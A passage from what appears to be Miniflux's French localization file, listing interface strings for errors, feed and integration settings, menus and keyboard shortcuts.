flux : %v.\",\n    \"error.feed_invalid_blocklist_rule\": \"La règle de blocage n'est pas valide.\",\n    \"error.feed_invalid_keeplist_rule\": \"La règle d'autorisation n'est pas valide.\",\n    \"error.feed_mandatory_fields\": \"L'URL et la catégorie sont obligatoire.\",\n    \"error.feed_not_found\": \"Impossible de trouver ce flux.\",\n    \"error.feed_title_not_empty\": \"Le titre du flux ne peut pas être vide.\",\n    \"error.feed_url_not_empty\": \"L'URL du flux ne peut pas être vide.\",\n    \"error.fields_mandatory\": \"Tous les champs sont obligatoire.\",\n    \"error.http_bad_gateway\": \"Le site web n'est pas disponible pour le moment à cause d'une erreur de passerelle réseau. Le problème ne vient pas de Miniflux. Veuillez réessayer plus tard.\",\n    \"error.http_body_read\": \"Impossible de lire le corps de la réponse HTTP : %v.\",\n    \"error.http_client_error\": \"Erreur du client HTTP : %v.\",\n    \"error.http_empty_response\": \"La réponse HTTP est vide. Peut-être que ce site web bloque Miniflux avec une protection anti-bot ?\",\n    \"error.http_empty_response_body\": \"Le corps de la réponse HTTP est vide.\",\n    \"error.http_forbidden\": \"Accès interdit à ce site web. Il se peut que ce site web bloque Miniflux avec une protection anti-bot.\",\n    \"error.http_gateway_timeout\": \"Le site web n'est pas disponible pour le moment à cause d'un délai d'attente dépassé. Le problème ne vient pas de Miniflux. Veuillez réessayer plus tard.\",\n    \"error.http_internal_server_error\": \"Le site web n'est pas disponible pour le moment à cause d'une erreur interne au serveur. Le problème ne vient pas de Miniflux. Veuillez réessayer plus tard.\",\n    \"error.http_not_authorized\": \"Accès non autorisé à ce site web. Veuillez vérifier les identifiants de cet abonnement.\",\n    \"error.http_resource_not_found\": \"La resource demandée n'existe pas sur ce site web. Veuillez vérifier l'URL.\",\n    \"error.http_response_too_large\": \"La réponse HTTP est trop volumineuse. Vous pouvez augmenter la limite de taille de réponse HTTP dans les paramètres de l'application (redémarrage de l'application nécessaire).\",\n    \"error.http_service_unavailable\": \"Le site web n'est pas disponible pour le moment. Le problème ne vient pas de Miniflux. Veuillez réessayer plus tard.\",\n    \"error.http_too_many_requests\": \"Miniflux a généré trop de requêtes vers ce site web. Veuillez réessayer plus tard ou changez la configuration de l'application.\",\n    \"error.http_unexpected_status_code\": \"Le site web a répondu avec un code HTTP inattendu : %d. Le problème ne vient pas de Miniflux. Veuillez réessayer plus tard.\",\n    \"error.invalid_categories_sorting_order\": \"L'ordre de tri des catégories n'est pas valide.\",\n    \"error.invalid_default_home_page\": \"Page d'accueil par défaut invalide !\",\n    \"error.invalid_display_mode\": \"Mode d'affichage de l'application web non valide.\",\n    \"error.invalid_entry_direction\": \"Ordre de trie non valide.\",\n    \"error.invalid_entry_order\": \"Ordre de tri non valide.\",\n    \"error.invalid_feed_proxy_url\": \"L'URL du proxy n'est pas valide.\",\n    \"error.invalid_feed_url\": \"URL de flux non valide.\",\n    \"error.invalid_gesture_nav\": \"Navigation gestuelle non valide.\",\n    \"error.invalid_language\": \"Langue non valide.\",\n    \"error.invalid_site_url\": \"URL de site non valide.\",\n    \"error.invalid_theme\": \"Thème non valide.\",\n    \"error.invalid_timezone\": \"Fuseau horaire non valide.\",\n    \"error.network_operation\": \"Miniflux n'est pas en mesure de se connecter à ce site web à cause d'un problème réseau : %v.\",\n    \"error.network_timeout\": \"Ce site web est trop lent à répondre : %v.\",\n    \"error.password_min_length\": \"Vous devez utiliser au moins 6 caractères pour le mot de passe.\",\n    \"error.proxy_url_not_empty\": \"L'URL du proxy ne peut pas être vide.\",\n    \"error.settings_block_rule_fieldname_invalid\": \"Règle de blocage invalide : la règle n°%d ne contient pas un nom de champ valide (Options : %s)\",\n    \"error.settings_block_rule_invalid_regex\": \"Règle de blocage invalide : le motif de la règle n°%d n'est pas une expression régulière valide\",\n    \"error.settings_block_rule_regex_required\": \"Règle de blocage invalide : le motif de la règle n°%d n'est pas fourni\",\n    \"error.settings_block_rule_separator_required\": \"Règle de blocage invalide : le motif de la règle n°%d doit être séparé par un '='\",\n    \"error.settings_invalid_domain_list\": \"Liste de domaines invalide. Veuillez fournir une liste de domaines séparés par des espaces.\",\n    \"error.settings_keep_rule_fieldname_invalid\": \"Règle de conservation invalide : la règle n°%d ne contient pas un nom de champ valide (Options : %s)\",\n    \"error.settings_keep_rule_invalid_regex\": \"Règle de conservation invalide : le motif de la règle n°%d n'est pas une expression régulière valide\",\n    \"error.settings_keep_rule_regex_required\": \"Règle de conservation invalide : le motif de la règle n°%d n'est pas fourni\",\n    \"error.settings_keep_rule_separator_required\": \"Règle de conservation invalide : le motif de la règle n°%d doit être séparé par un '='\",\n    \"error.settings_mandatory_fields\": \"Le nom d'utilisateur, le thème, la langue et le fuseau horaire sont obligatoire.\",\n    \"error.settings_media_playback_rate_range\": \"La vitesse de lecture est hors limites\",\n    \"error.settings_reading_speed_is_positive\": \"Les vitesses de lecture doivent être des entiers positifs.\",\n    \"error.site_url_not_empty\": \"L'URL du site ne peut pas être vide.\",\n    \"error.subscription_not_found\": \"Impossible de trouver un abonnement.\",\n    \"error.title_required\": \"Le titre est obligatoire.\",\n    \"error.tls_error\": \"Erreur TLS : %q. Vous pouvez désactiver la vérification TLS dans les paramètres de l'abonnement.\",\n    \"error.unable_to_create_api_key\": \"Impossible de créer cette clé d'API.\",\n    \"error.unable_to_create_category\": \"Impossible de créer cette catégorie.\",\n    \"error.unable_to_create_user\": \"Impossible de créer cet utilisateur.\",\n    \"error.unable_to_detect_rssbridge\": \"Impossible de détecter un flux RSS en utilisant RSS-Bridge: %v.\",\n    \"error.unable_to_parse_feed\": \"Impossible d'analyser ce flux : %v.\",\n    \"error.unable_to_update_category\": \"Impossible de mettre à jour cette catégorie.\",\n    \"error.unable_to_update_feed\": \"Impossible de mettre à jour cet abonnement.\",\n    \"error.unable_to_update_user\": \"Impossible de mettre à jour cet utilisateur.\",\n    \"error.unlink_account_without_password\": \"Vous devez définir un mot de passe sinon vous ne pourrez plus vous connecter par la suite.\",\n    \"error.user_already_exists\": \"Cet utilisateur existe déjà.\",\n    \"error.user_mandatory_fields\": \"Le nom d'utilisateur est obligatoire.\",\n    \"error.linktaco_missing_required_fields\": \"Le token API LinkTaco et le slug de l'organisation sont requis.\",\n    \"form.api_key.label.description\": \"Libellé de la clé d'API\",\n    \"form.category.hide_globally\": \"Masquer les entrées dans la liste globale non lue\",\n    \"form.category.label.title\": \"Titre\",\n    \"form.feed.fieldset.general\": \"Général\",\n    \"form.feed.fieldset.integration\": \"Services tiers\",\n    \"form.feed.fieldset.network_settings\": \"Paramètres réseau\",\n    \"form.feed.fieldset.rules\": \"Règles\",\n    \"form.feed.label.allow_self_signed_certificates\": \"Autoriser les certificats auto-signés ou non valides\",\n    \"form.feed.label.apprise_service_urls\": \"Liste séparée par des virgules des URL du service Apprise\",\n    \"form.feed.label.block_filter_entry_rules\": \"Règles de blocage des entrées\",\n    \"form.feed.label.blocklist_rules\": \"Filtres de blocage basés sur des expressions régulières\",\n    \"form.feed.label.category\": \"Catégorie\",\n    \"form.feed.label.cookie\": \"Définir les cookies\",\n    \"form.feed.label.crawler\": \"Récupérer le contenu original\",\n    \"form.feed.label.ignore_entry_updates\": \"Ignore entry updates\",\n    \"form.feed.label.description\": \"Description\",\n    \"form.feed.label.disable_http2\": \"Désactiver HTTP/2\",\n    \"form.feed.label.disabled\": \"Ne pas actualiser ce flux\",\n    \"form.feed.label.feed_password\": \"Mot de passe du flux\",\n    \"form.feed.label.feed_url\": \"URL du flux\",\n    \"form.feed.label.feed_username\": \"Nom d'utilisateur du flux\",\n    \"form.feed.label.fetch_via_proxy\": \"Utiliser le proxy configuré au niveau de l'application\",\n    \"form.feed.label.hide_globally\": \"Masquer les entrées dans la liste globale non lue\",\n    \"form.feed.label.ignore_http_cache\": \"Ignorer le cache HTTP\",\n    \"form.feed.label.keep_filter_entry_rules\": \"Règles d'autorisation des entrées\",\n    \"form.feed.label.keeplist_rules\": \"Filtres de conservation basés sur des expressions régulières\",\n    \"form.feed.label.no_media_player\": \"Pas de lecteur multimedia (audio/vidéo)\",\n    \"form.feed.label.ntfy_activate\": \"Activer les notifications\",\n    \"form.feed.label.ntfy_default_priority\": \"Priorité par défaut de notification\",\n    \"form.feed.label.ntfy_high_priority\": \"Priorité élevée de notification\",\n    \"form.feed.label.ntfy_low_priority\": \"Priorité basse de notification\",\n    \"form.feed.label.ntfy_max_priority\": \"Priorité maximale de notification\",\n    \"form.feed.label.ntfy_min_priority\": \"Priorité minimale de notification\",\n    \"form.feed.label.ntfy_priority\": \"Priorité de notification\",\n    \"form.feed.label.ntfy_topic\": \"Sujet Ntfy (facultatif)\",\n    \"form.feed.label.proxy_url\": \"URL du proxy\",\n    \"form.feed.label.pushover_activate\": \"Activer les notifications vers Pushover\",\n    \"form.feed.label.pushover_default_priority\": \"Priorité par défaut\",\n    \"form.feed.label.pushover_high_priority\": \"Priorité élevée\",\n    \"form.feed.label.pushover_low_priority\": \"Priorité basse\",\n    \"form.feed.label.pushover_max_priority\": \"Priorité maximale\",\n    \"form.feed.label.pushover_min_priority\": \"Priorité minimale\",\n    \"form.feed.label.pushover_priority\": \"Priorité des notifications Pushover\",\n    \"form.feed.label.rewrite_rules\": \"Règles de réécriture du contenu\",\n    \"form.feed.label.scraper_rules\": \"Règles pour récupérer le contenu original\",\n    \"form.feed.label.site_url\": \"URL du site web\",\n    \"form.feed.label.title\": \"Titre\",\n    \"form.feed.label.urlrewrite_rules\": \"Règles de réécriture d'URL\",\n    \"form.feed.label.user_agent\": \"Remplacer l'agent utilisateur par défaut\",\n    \"form.feed.label.webhook_url\": \"Remplacer l'URL du webhook\",\n    \"form.import.label.file\": \"Fichier OPML\",\n    \"form.import.label.url\": \"URL\",\n    \"form.integration.archiveorg_activate\": \"Envoyer les articles vers archive.org\",\n    \"form.integration.apprise_activate\": \"Envoyer les articles vers Apprise\",\n    \"form.integration.apprise_services_url\": \"Liste des services Apprise séparés par des virgules\",\n    \"form.integration.apprise_url\": \"URL de l'API Apprise\",\n    \"form.integration.betula_activate\": \"Sauvegarder les entrées vers Betula\",\n    \"form.integration.betula_token\": \"Jeton de sécurité de l'API de Betula\",\n    \"form.integration.betula_url\": \"URL du serveur Betula\",\n    \"form.integration.cubox_activate\": \"Sauvegarder les entrées vers Cubox\",\n    \"form.integration.cubox_api_link\": \"Lien API Cubox\",\n    \"form.integration.discord_activate\": \"Envoyer les articles vers Discord\",\n    \"form.integration.discord_webhook_link\": \"URL du Webhook Discord\",\n    \"form.integration.espial_activate\": \"Sauvegarder les articles vers Espial\",\n    \"form.integration.espial_api_key\": \"Clé d'API de Espial\",\n    \"form.integration.espial_endpoint\": \"URL de l'API de Espial\",\n    \"form.integration.espial_tags\": \"Libellés de Espial\",\n    \"form.integration.fever_activate\": \"Activer l'API de Fever\",\n    \"form.integration.fever_endpoint\": \"Point de terminaison de l'API Fever :\",\n    \"form.integration.fever_password\": \"Mot de passe pour l'API de Fever\",\n    \"form.integration.fever_username\": \"Nom d'utilisateur pour l'API de Fever\",\n    \"form.integration.googlereader_activate\": \"Activer l'API de Google Reader\",\n    \"form.integration.googlereader_endpoint\": \"Point de terminaison de l'API Google Reader :\",\n    \"form.integration.googlereader_password\": \"Mot de passe pour l'API de Google Reader\",\n    \"form.integration.googlereader_username\": \"Nom d'utilisateur pour l'API de Google Reader\",\n    \"form.integration.instapaper_activate\": \"Sauvegarder les articles vers Instapaper\",\n    \"form.integration.instapaper_password\": \"Mot de passe Instapaper\",\n    \"form.integration.instapaper_username\": \"Nom d'utilisateur Instapaper\",\n    \"form.integration.karakeep_activate\": \"Sauvegarder les articles vers Karakeep\",\n    \"form.integration.karakeep_api_key\": \"Clé d'API de Karakeep\",\n    \"form.integration.karakeep_url\": \"URL de l'API de Karakeep\",\n    \"form.integration.karakeep_tags\": \"Libellés Karakeep\",\n    \"form.integration.linkace_activate\": \"Enregistrer les entrées vers LinkAce\",\n    \"form.integration.linkace_api_key\": \"Clé d'API LinkAce\",\n    \"form.integration.linkace_check_disabled\": \"Désactiver la vérification des liens\",\n    \"form.integration.linkace_endpoint\": \"Point de terminaison de l'API LinkAce\",\n    \"form.integration.linkace_is_private\": \"Marquer le lien comme privé\",\n    \"form.integration.linkace_tags\": \"Étiquettes LinkAce\",\n    \"form.integration.linkding_activate\": \"Sauvegarder les articles vers Linkding\",\n    \"form.integration.linkding_api_key\": \"Clé d'API de Linkding\",\n    \"form.integration.linkding_bookmark\": \"Marquer le lien comme non lu\",\n    \"form.integration.linkding_endpoint\": \"URL de l'API de Linkding\",\n    \"form.integration.linkding_tags\": \"Libellés\",\n    \"form.integration.linktaco_activate\": \"Sauvegarder les entrées vers LinkTaco\",\n    \"form.integration.linktaco_api_token\": \"Token API LinkTaco\",\n    \"form.integration.linktaco_api_token_hint\": \"Obtenez votre token d'accès personnel sur\",\n    \"form.integration.linktaco_org_slug\": \"Slug de l'organisation\",\n    \"form.integration.linktaco_tags\": \"Libellés (max. 10, séparés par des virgules)\",\n    \"form.integration.linktaco_tags_hint\": \"Maximum 10 libellés, séparés par des virgules\",\n    \"form.integration.linktaco_visibility\": \"Visibilité\",\n    \"form.integration.linktaco_visibility_public\": \"Publique\",\n    \"form.integration.linktaco_visibility_private\": \"Privé\",\n    \"form.integration.linktaco_visibility_hint\": \"La visibilité PRIVÉE nécessite un compte LinkTaco payant\",\n    \"form.integration.linkwarden_activate\": \"Sauvegarder les articles vers Linkwarden\",\n    \"form.integration.linkwarden_api_key\": \"Clé d'API de Linkwarden\",\n    \"form.integration.linkwarden_endpoint\": \"URL de base de Linkwarden\",\n    \"form.integration.linkwarden_collection_id\": \"ID de collection Linkwarden\",\n    \"form.integration.matrix_bot_activate\": \"Envoyer les nouveaux articles vers Matrix\",\n    \"form.integration.matrix_bot_chat_id\": \"Identifiant de la salle Matrix\",\n    \"form.integration.matrix_bot_password\": \"Mot de passe de l'utilisateur Matrix\",\n    \"form.integration.matrix_bot_url\": \"URL du serveur Matrix\",\n    \"form.integration.matrix_bot_user\": \"Nom de l'utilisateur Matrix\",\n    \"form.integration.notion_activate\": \"Sauvegarder les articles vers Notion\",\n    \"form.integration.notion_page_id\": \"Identifiant de la page Notion\",\n    \"form.integration.notion_token\": \"Jeton d'accès de l'API de Notion\",\n    \"form.integration.ntfy_activate\": \"Envoyer les entrées vers ntfy\",\n    \"form.integration.ntfy_api_token\": \"Jeton d'API Ntfy (optionnel)\",\n    \"form.integration.ntfy_icon_url\": \"URL de l'icône Ntfy (facultatif)\",\n    \"form.integration.ntfy_internal_links\": \"Utiliser les liens internes vers Miniflux (facultatif)\",\n    \"form.integration.ntfy_password\": \"Mot de passe Ntfy (facultatif)\",\n    \"form.integration.ntfy_topic\": \"Sujet Ntfy (défaut s'il n'est pas défini dans le flux)\",\n    \"form.integration.ntfy_url\": \"URL de Ntfy (optionnel, ntfy.sh par défaut)\",\n    \"form.integration.ntfy_username\": \"Nom d'utilisateur Ntfy (optionnel)\",\n    \"form.integration.nunux_keeper_activate\": \"Sauvegarder les articles vers Nunux Keeper\",\n    \"form.integration.nunux_keeper_api_key\": \"Clé d'API de Nunux Keeper\",\n    \"form.integration.nunux_keeper_endpoint\": \"URL de l'API de Nunux Keeper\",\n    \"form.integration.omnivore_activate\": \"Sauvegarder les articles vers Omnivore\",\n    \"form.integration.omnivore_api_key\": \"Clé d'API de Omnivore\",\n    \"form.integration.omnivore_url\": \"URL de l'API de Omnivore\",\n    \"form.integration.pinboard_activate\": \"Sauvegarder les articles vers Pinboard\",\n    \"form.integration.pinboard_bookmark\": \"Marquer le lien comme non lu\",\n    \"form.integration.pinboard_tags\": \"Libellés de Pinboard\",\n    \"form.integration.pinboard_token\": \"Jeton de sécurité de l'API de Pinboard\",\n    \"form.integration.pushover_activate\": \"Envoyer les articles vers Pushover\",\n    \"form.integration.pushover_device\": \"Nom de l'appareil Pushover (facultatif)\",\n    \"form.integration.pushover_prefix\": \"URL de préfixe Pushover (facultatif)\",\n    \"form.integration.pushover_token\": \"Jeton d'API de l'application Pushover\",\n    \"form.integration.pushover_user\": \"Identifiant de l'utilisateur Pushover (user key)\",\n    \"form.integration.raindrop_activate\": \"Enregistrer les entrées vers Raindrop\",\n    \"form.integration.raindrop_collection_id\": \"Identifiant de la collection\",\n    \"form.integration.raindrop_tags\": \"Libellés (séparées par des virgules)\",\n    \"form.integration.raindrop_token\": \"Jeton d'accès de Raindrop\",\n    \"form.integration.readeck_activate\": \"Sauvegarder les articles vers Readeck\",\n    \"form.integration.readeck_api_key\": \"Clé d'API de Readeck\",\n    \"form.integration.readeck_endpoint\": \"URL de l'API de Readeck\",\n    \"form.integration.readeck_labels\": \"Libellés Readeck\",\n    \"form.integration.readeck_only_url\": \"Envoyer uniquement l'URL (au lieu du contenu complet)\",\n    \"form.integration.readeck_push_activate\": \"Envoyer automatiquement les nouvelles entrées vers Readeck\",\n    \"form.integration.readwise_activate\": \"Enregistrer les entrées vers Readwise Reader\",\n    \"form.integration.readwise_api_key\": \"Jeton d'accès au lecteur Readwise\",\n    \"form.integration.readwise_api_key_link\": \"Obtenez votre jeton d'accès Readwise\",\n    \"form.integration.rssbridge_activate\": \"Vérifier RSS-Bridge lors de l'ajout d'abonnements\",\n    \"form.integration.rssbridge_token\": \"Jeton d'authentification RSS-Bridge\",\n    \"form.integration.rssbridge_url\": \"URL du serveur RSS-Bridge\",\n    \"form.integration.shaarli_activate\": \"Sauvegarder les articles vers Shaarli\",\n    \"form.integration.shaarli_api_secret\": \"Clé d'API de Shaarli API\",\n    \"form.integration.shaarli_endpoint\": \"URL de l'API de Shaarli\",\n    \"form.integration.shiori_activate\": \"Sauvegarder les articles vers Shiori\",\n    \"form.integration.shiori_endpoint\": \"URL de l'API de Shiori\",\n    \"form.integration.shiori_password\": \"Mot de passe de Shiori\",\n    \"form.integration.shiori_username\": \"Nom d'utilisateur de Shiori\",\n    \"form.integration.slack_activate\": \"Envoyer les articles vers Slack\",\n    \"form.integration.slack_webhook_link\": \"URL du Webhook Slack\",\n    \"form.integration.telegram_bot_activate\": \"Envoyer les nouveaux articles vers Telegram\",\n    \"form.integration.telegram_bot_disable_buttons\": \"Désactiver les boutons\",\n    \"form.integration.telegram_bot_disable_notification\": \"Désactiver les notifications\",\n    \"form.integration.telegram_bot_disable_web_page_preview\": \"Désactiver l'aperçu de la page Web\",\n    \"form.integration.telegram_bot_token\": \"Jeton de sécurité de l'API du Bot Telegram\",\n    \"form.integration.telegram_chat_id\": \"Identifiant de discussion (Chat ID)\",\n    \"form.integration.telegram_topic_id\": \"Identifiant du sujet (Topic ID)\",\n    \"form.integration.wallabag_activate\": \"Sauvegarder les articles vers Wallabag\",\n    \"form.integration.wallabag_client_id\": \"Identifiant unique du client Wallabag\",\n    \"form.integration.wallabag_client_secret\": \"Clé secrète du client Wallabag\",\n    \"form.integration.wallabag_endpoint\": \"URL de base de Wallabag\",\n    \"form.integration.wallabag_only_url\": \"Envoyer uniquement l'URL (au lieu du contenu complet)\",\n    \"form.integration.wallabag_password\": \"Mot de passe de Wallabag\",\n    \"form.integration.wallabag_username\": \"Nom d'utilisateur de Wallabag\",\n    \"form.integration.wallabag_tags\": \"Libellés Wallabag\",\n    \"form.integration.webhook_activate\": \"Activer le webhook\",\n    \"form.integration.webhook_secret\": \"Secret du webhook\",\n    \"form.integration.webhook_url\": \"URL du webhook\",\n    \"form.prefs.fieldset.application_settings\": \"Paramètres de l'application\",\n    \"form.prefs.fieldset.authentication_settings\": \"Paramètres d'authentification\",\n    \"form.prefs.fieldset.global_feed_settings\": \"Paramètres globaux des abonnements\",\n    \"form.prefs.fieldset.reader_settings\": \"Paramètres du lecteur\",\n    \"form.prefs.help.external_font_hosts\": \"Liste de domaine externes autorisés, séparés par des espaces. Par exemple : « fonts.gstatic.com fonts.googleapis.com ».\",\n    \"form.prefs.label.always_open_external_links\": \"Lire les articles en ouvrant les liens externes\",\n    \"form.prefs.label.categories_sorting_order\": \"Colonne de tri des catégories\",\n    \"form.prefs.label.cjk_reading_speed\": \"Vitesse de lecture pour le chinois, le coréen et le japonais (caractères par minute)\",\n    \"form.prefs.label.custom_css\": \"Feuille de style personnalisée\",\n    \"form.prefs.label.custom_js\": \"Code JavaScript personnalisé\",\n    \"form.prefs.label.default_home_page\": \"Page d'accueil par défaut\",\n    \"form.prefs.label.default_reading_speed\": \"Vitesse de lecture pour les autres langues (mots par minute)\",\n    \"form.prefs.label.display_mode\": \"Mode d'affichage de l'Application Web Progressive (PWA)\",\n    \"form.prefs.label.entries_per_page\": \"Entrées par page\",\n    \"form.prefs.label.entry_order\": \"Colonne de tri des entrées\",\n    \"form.prefs.label.entry_sorting\": \"Ordre des éléments\",\n    \"form.prefs.label.entry_swipe\": \"Activer le balayage des entrées sur les écrans tactiles\",\n    \"form.prefs.label.external_font_hosts\": \"Polices externes autorisées\",\n    \"form.prefs.label.gesture_nav\": \"Geste pour naviguer entre les entrées\",\n    \"form.prefs.label.keyboard_shortcuts\": \"Activer les raccourcis clavier\",\n    \"form.prefs.label.language\": \"Langue\",\n    \"form.prefs.label.mark_read_manually\": \"Marquer les entrées comme lues manuellement\",\n    \"form.prefs.label.mark_read_on_media_completion\": \"Marquer les entrées comme lues uniquement après 90%% de lecture de l'audio/vidéo\",\n    \"form.prefs.label.mark_read_on_view\": \"Marquer automatiquement les entrées comme lues lorsqu'elles sont consultées\",\n    \"form.prefs.label.mark_read_on_view_or_media_completion\": \"Marquer automatiquement les entrées comme lues lorsqu'elles sont consultées. Pour l'audio/vidéo, marquer comme lues après 90%%\",\n    \"form.prefs.label.media_playback_rate\": \"Vitesse de lecture de l'audio/vidéo\",\n    \"form.prefs.label.open_external_links_in_new_tab\": \"Ouvrir les liens externes dans un nouvel onglet (ajoute target=\\\"_blank\\\" aux liens)\",\n    \"form.prefs.label.show_reading_time\": \"Afficher le temps de lecture estimé des articles\",\n    \"form.prefs.label.theme\": \"Thème\",\n    \"form.prefs.label.timezone\": \"Fuseau horaire\",\n    \"form.prefs.select.alphabetical\": \"Alphabétique\",\n    \"form.prefs.select.browser\": \"Navigateur\",\n    \"form.prefs.select.created_time\": \"Heure de création de l'entrée\",\n    \"form.prefs.select.fullscreen\": \"Plein écran\",\n    \"form.prefs.select.minimal_ui\": \"Minimaliste\",\n    \"form.prefs.select.none\": \"Aucun\",\n    \"form.prefs.select.older_first\": \"Anciens éléments en premier\",\n    \"form.prefs.select.publish_time\": \"Heure de publication de l'entrée\",\n    \"form.prefs.select.recent_first\": \"Éléments récents en premier\",\n    \"form.prefs.select.standalone\": \"Autonome\",\n    \"form.prefs.select.swipe\": \"Glisser\",\n    \"form.prefs.select.tap\": \"Tapez deux fois\",\n    \"form.prefs.select.unread_count\": \"Nombre d'articles non lus\",\n    \"form.submit.loading\": \"Chargement...\",\n    \"form.submit.saving\": \"Sauvegarde en cours...\",\n    \"form.user.label.admin\": \"Administrateur\",\n    \"form.user.label.confirmation\": \"Confirmation du mot de passe\",\n    \"form.user.label.password\": \"Mot de passe\",\n    \"form.user.label.username\": \"Nom d'utilisateur\",\n    \"menu.about\": \"À propos\",\n    \"menu.add_feed\": \"Ajouter un abonnement\",\n    \"menu.add_user\": \"Ajouter un utilisateur\",\n    \"menu.api_keys\": \"Clés d'API\",\n    \"menu.categories\": \"Catégories\",\n    \"menu.create_api_key\": \"Créer une nouvelle clé d'API\",\n    \"menu.create_category\": \"Créer une catégorie\",\n    \"menu.edit_category\": \"Modifier\",\n    \"menu.edit_feed\": \"Modifier\",\n    \"menu.export\": \"Export\",\n    \"menu.feed_entries\": \"Articles\",\n    \"menu.feeds\": \"Abonnements\",\n    \"menu.flush_history\": \"Supprimer l'historique\",\n    \"menu.history\": \"Historique\",\n    \"menu.home_page\": \"Page d'accueil\",\n    \"menu.import\": \"Import\",\n    \"menu.integrations\": \"Intégrations\",\n    \"menu.logout\": \"Se déconnecter\",\n    \"menu.mark_all_as_read\": \"Tout marquer comme lu\",\n    \"menu.mark_page_as_read\": \"Marquer cette page comme lue\",\n    \"menu.preferences\": \"Préférences\",\n    \"menu.refresh_all_feeds\": \"Actualiser les abonnements en arrière-plan\",\n    \"menu.refresh_feed\": \"Actualiser\",\n    \"menu.search\": \"Recherche\",\n    \"menu.sessions\": \"Sessions\",\n    \"menu.settings\": \"Réglages\",\n    \"menu.shared_entries\": \"Articles partagés\",\n    \"menu.show_all_entries\": \"Afficher tous les articles\",\n    \"menu.show_only_starred_entries\": \"Afficher uniquement les favoris\",\n    \"menu.show_only_unread_entries\": \"Afficher uniquement les articles non lus\",\n    \"menu.starred\": \"Favoris\",\n    \"menu.title\": \"Menu\",\n    \"menu.unread\": \"Non lus\",\n    \"menu.users\": \"Utilisateurs\",\n    \"page.about.author\": \"Auteur :\",\n    \"page.about.build_date\": \"Date de la compilation :\",\n    \"page.about.credits\": \"Crédits\",\n    \"page.about.db_usage\": \"Taille de la base de données :\",\n    \"page.about.git_commit\": \"Commit Git :\",\n    \"page.about.global_config_options\": \"Options de configuration globales\",\n    \"page.about.go_version\": \"Version de Go :\",\n    \"page.about.license\": \"Licence :\",\n    \"page.about.postgres_version\": \"Version de Postgresql :\",\n    \"page.about.title\": \"À propos\",\n    \"page.about.version\": \"Version :\",\n    \"page.add_feed.choose_feed\": \"Choisissez un abonnement\",\n    \"page.add_feed.label.url\": \"Lien\",\n    \"page.add_feed.legend.advanced_options\": \"Options avancées\",\n    \"page.add_feed.no_category\": \"Il n'y a aucune catégorie. Vous devez avoir au moins une catégorie.\",\n    \"page.add_feed.submit\": \"Trouver un abonnement\",\n    \"page.add_feed.title\": \"Nouvel Abonnement\",\n    \"page.api_keys.never_used\": \"Jamais utilisé\",\n    \"page.api_keys.table.actions\": \"Actions\",\n    \"page.api_keys.table.created_at\": \"Date de création\",\n    \"page.api_keys.table.description\": \"Description\",\n    \"page.api_keys.table.last_used_at\": \"Dernière utilisation\",\n    \"page.api_keys.table.token\": \"Jeton\",\n    \"page.api_keys.title\": \"Clés d'API\",\n    \"page.categories.entries\": \"Articles\",\n    \"page.categories.feed_count\": [\n        \"Il y a %d abonnement.\",\n        \"Il y a %d abonnements.\"\n    ],\n    \"page.categories.feeds\": \"Abonnements\",\n    \"page.categories.no_feed\": \"Aucun abonnement.\",\n    \"page.categories.title\": \"Catégories\",\n    \"page.categories_count\": [\n        \"%d catégorie\",\n        \"%d catégories\"\n    ],\n    \"page.category_label\": \"Catégorie : %s\",\n    \"page.edit_category.title\": \"Modification de la catégorie : %s\",\n    \"page.edit_feed.etag_header\": \"En-tête ETag :\",\n    \"page.edit_feed.last_check\": \"Dernière vérification :\",\n    \"page.edit_feed.last_modified_header\": \"En-tête LastModified :\",\n    \"page.edit_feed.last_parsing_error\": \"Dernière erreur d'analyse\",\n    \"page.edit_feed.no_header\": \"Aucune\",\n    \"page.edit_feed.title\": \"Modification de l'abonnement : %s\",\n    \"page.edit_user.title\": \"Modification de l'utilisateur : %s\",\n    \"page.entry.attachments\": \"Pièces Jointes\",\n    \"page.feeds.error_count\": [\n        \"%d erreur\",\n        \"%d erreurs\"\n    ],\n    \"page.feeds.last_check\": \"Dernière vérification :\",\n    \"page.feeds.next_check\": \"Prochaine vérification :\",\n    \"page.feeds.read_counter\": \"Nombre d'entrées lues\",\n    \"page.feeds.title\": \"Abonnements\",\n    \"page.footer.elevator\": \"Retour en haut\",\n    \"page.history.title\": \"Historique\",\n    \"page.import.title\": \"Importation\",\n    \"page.integration.bookmarklet\": \"Signet (bookmarklet)\",\n    \"page.integration.bookmarklet.help\": \"Ce lien spécial vous permet de vous abonner à un site web directement en utilisant un marque page dans votre navigateur web.\",\n    \"page.integration.bookmarklet.instructions\": \"Glisser-déposer ce lien dans vos favoris.\",\n    \"page.integration.bookmarklet.name\": \"Ajouter à Miniflux\",\n    \"page.integration.miniflux_api\": \"API de Miniflux\",\n    \"page.integration.miniflux_api_endpoint\": \"Point de terminaison de l'API\",\n    \"page.integration.miniflux_api_password\": \"Mot de passe\",\n    \"page.integration.miniflux_api_password_value\": \"Le mot de passe de votre compte\",\n    \"page.integration.miniflux_api_username\": \"Nom d'utilisateur\",\n    \"page.integrations.title\": \"Intégrations\",\n    \"page.keyboard_shortcuts.close_modal\": \"Fermer la boite de dialogue\",\n    \"page.keyboard_shortcuts.download_content\": \"Télécharger le contenu original\",\n    \"page.keyboard_shortcuts.go_to_bottom_item\": \"Aller à l'élément du bas\",\n    \"page.keyboard_shortcuts.go_to_categories\": \"Voir les catégories\",\n    \"page.keyboard_shortcuts.go_to_feed\": \"Voir abonnement\",\n    \"page.keyboard_shortcuts.go_to_feeds\": \"Voir les abonnements\",\n    \"page.keyboard_shortcuts.go_to_history\": \"Voir l'historique\",\n    \"page.keyboard_shortcuts.go_to_next_item\": \"Élément suivant\",\n    \"page.keyboard_shortcuts.go_to_next_page\": \"Page suivante\",\n    \"page.keyboard_shortcuts.go_to_previous_item\": \"Élément précédent\",\n    \"page.keyboard_shortcuts.go_to_previous_page\": \"Page précédente\",\n    \"page.keyboard_shortcuts.go_to_search\": \"Mettre le focus sur le champ de recherche\",\n    \"page.keyboard_shortcuts.go_to_settings\": \"Voir les réglages\",\n    \"page.keyboard_shortcuts.go_to_starred\": \"Voir les favoris\",\n    \"page.keyboard_shortcuts.go_to_top_item\": \"Aller à l'élément supérieur\",\n    \"page.keyboard_shortcuts.go_to_unread\": \"Aller aux éléments non lus\",\n    \"page.keyboard_shortcuts.mark_page_as_read\": \"Marquer la page actuelle comme lu\",\n    \"page.keyboard_shortcuts.open_comments\": \"Ouvrir le lien des commentaires\",\n    \"page.keyboard_shortcuts.open_comments_same_window\": \"Ouvrir le lien des commentaires dans l'onglet en cours\",\n    